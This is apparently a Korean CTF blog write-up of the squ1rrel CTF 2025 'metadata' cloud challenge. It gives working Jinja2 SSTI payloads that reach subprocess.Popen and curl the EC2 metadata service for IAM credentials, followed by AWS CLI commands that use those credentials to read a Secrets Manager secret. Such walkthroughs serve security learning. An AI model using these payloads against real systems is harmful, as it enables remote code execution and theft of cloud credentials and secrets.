Cat Solution

[Cloud] squ1rrel CTF 2025 metadata Write-Up 본문

CTF/Cloud

[Cloud] squ1rrel CTF 2025 metadata Write-Up

Casol 2025. 4. 7. 12:11

문제 설명

Just vibe coded my very first website, and my friend put it up on his EC2. No shot it has any security vulnerabilities, right?
http://13.59.188.191:8000

 

문제 파일

x


 

 

문제에서 주어진 url에 접속해보면,

name 을 입력받는 폼과

 

 

입력받은 name 을 그대로 출력해주는 /greet 페이지가 있다.

이곳에서 XSS와 SSTI 취약점이 터지는 건 확인했고, 이외에 더 주어진 정보는 없었다.

 

문제 카테고리가 "cloud" 이다보니 이 취약점들을 가지고 cloud 관련 익스를 해야할 것 같다.

문제 이름인 "metadata"와 설명의 "ec2" 에 주목하여 구글링을 해보자.

 

서치 결과, AWS 인스턴스 내부에서 http://169.254.169.254 에 접근하면 메타데이터를 가져올 수 있다고 한다.

이 Meta-data 에는 IAM Role, Security Group, IP 주소 등 Instance에 대한 정보가 포함되어 있고

SSRF 취약점을 이용해 이 메타데이터에 접근하여 S3 버킷의 고객 데이터를 다운로드 하는 등의 피해 사례가 존재했다.

 

앞서 발견한 SSTI 취약점을 이용해 curl 명령어를 사용하여 http://169.254.169.254/latest/meta-data 로 요청을 보내보자.

 


 

1. curl 명령어 사용을 위해 subprocess.Popen 찾기

 

535번 인덱스에 존재했다.

 

{{''.__class__.__mro__[1].__subclasses__ ()}}
{{''.__class__.__mro__[1].__subclasses__ ()[535]}}

 

2. curl 명령으로 요청 보내기

 

{{''.__class__.__mro__[1].__subclasses__()[535](['curl','http://169.254.169.254/latest/meta-data'],stdout=-1).communicate()}}

 

결과

 

3. IAM Role 정보 얻기 (iam/security-credentials)

 

{{''.__class__.__mro__[1].__subclasses__()[535](['curl','http://169.254.169.254/latest/meta-data/iam/security-credentials'],stdout=-1).communicate()}}

 

 

ec2instancerole 존재 확인 후 role  이름으로 조회  (iam/security-credentials/ec2instancerole)

 

 

IAM 자격 증명을 탈취했다!

 

4. AWS CLI 를 이용해서 flag 탐색

 

 

 

meta-data 아래의 다른 엔드포인트들을 살펴봐도 별다른 수확이 없어서, 이 role 을 이용하는 게 맞는 것 같은데 대부분의 권한이 제한되어 있었다.

이것저것 시도해보다가 답답해서 그제야 Role 에 붙은 Policy 를 확인했는데,

처음에 권한부터 확인하는 게 좋았을 것 같다.

 

aws iam list-attached-role-policies --role-name ec2instancerole

 

 

aws iam get-policy --policy-arn arn:aws:iam::614108131227:policy/ec2instancepolicy

 

 

VersionId가 v6 임을 확인했고, 이제 실제 정책 내용을 확인해보자.

 

aws iam get-policy-version --policy-arn arn:aws:iam::614108131227:policy/ec2instancepolicy --version-id v6

 

 

오! secretsmanger 에 접근 권한이 존재한다.

 

get-secret-value --secret-id flag 로 flag 를 구했다.

 

aws secretsmanager get-secret-value --region us-east-2 --secret-id flag

 

 

클라우드 문제들은 리얼월드 느낌 나서 너무 재밌당

 


 

flag

squ1rrel{you_better_not_have_vibe_coded_the_solution_to_this_challenge}\"}